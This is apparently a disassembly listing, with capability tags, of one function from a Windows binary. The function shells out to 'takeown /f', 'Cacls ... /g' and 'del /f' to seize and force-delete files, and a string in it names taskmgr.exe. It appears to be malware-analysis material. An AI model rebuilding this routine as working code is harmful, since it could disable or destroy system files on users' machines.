Function at 0x402351
Capabilities:
Execute command
Get session user name
Self delete

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x180
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x120], rcx
lea rax, [rbp + 0xcf]
mov rcx, rax
call fcn.004486a0
lea rdx, [rbp + 0xcf]
lea rax, [rbp + 0xc0]
mov r8, rdx
mov rdx, qword [rbp + 0x120]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xde]
mov rcx, rax
call fcn.004486a0
lea rdx, [rbp + 0xde]
lea rax, [rbp + 0xd0]
mov r8, rdx
lea rdx, str.takeown__f
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xb0]
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0xd0]
mov r8, rcx
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____std::basic_string_char__std::char_tr
lea rax, [rbp + 0xb0]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0xde]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0xcf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xac], 0x100
lea rdx, [rbp + 0xac]
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rax, [rbp + 0xdf]
mov rcx, rax
call fcn.004486a0
lea rdx, [rbp + 0xdf]
lea rax, [rbp + 0xa0]
mov r8, rdx
lea rdx, str.Cacls_C:windows_system32_taskmgr.exe__t__e__c__g
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xdf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0xa0]
lea rdx, str.Cacls
mov rcx, rax
call fcn.00451e90
lea rax, [rbp + 0xa0]
mov rdx, qword [rbp + 0x120]
mov rcx, rax
call method.std::string.operator_char_const_
lea rax, [rbp + 0xa0]
lea rdx, str.___t__e__c__g
mov rcx, rax
call method.std::string.operator_char_const_
lea rax, [rbp + 0xef]
mov rcx, rax
call fcn.004486a0
lea rcx, [rbp + 0xef]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xe0]
mov r8, rcx
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.00451f90
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0xef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0xff]
mov rcx, rax
call fcn.004486a0
lea rdx, [rbp + 0xff]
lea rax, [rbp + 0xf0]
mov r8, rdx
lea rdx, [0x0048b598]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0xf0]
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.00451f90
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0xff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0xa0]
mov rdx, rax
mov rcx, qword [0x0048fe10]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::basic_string_char__std::char_traits_char___std::allocator_char____const
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp + 0xa0]
lea rdx, str.del__f
mov rcx, rax
call fcn.00451e90
lea rax, [rbp + 0xa0]
mov rdx, qword [rbp + 0x120]
mov rcx, rax
call method.std::string.operator_char_const_
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.00451e10
jmp 0x402748
add rsp, 0x180
pop rbx
pop rdi
pop rbp
ret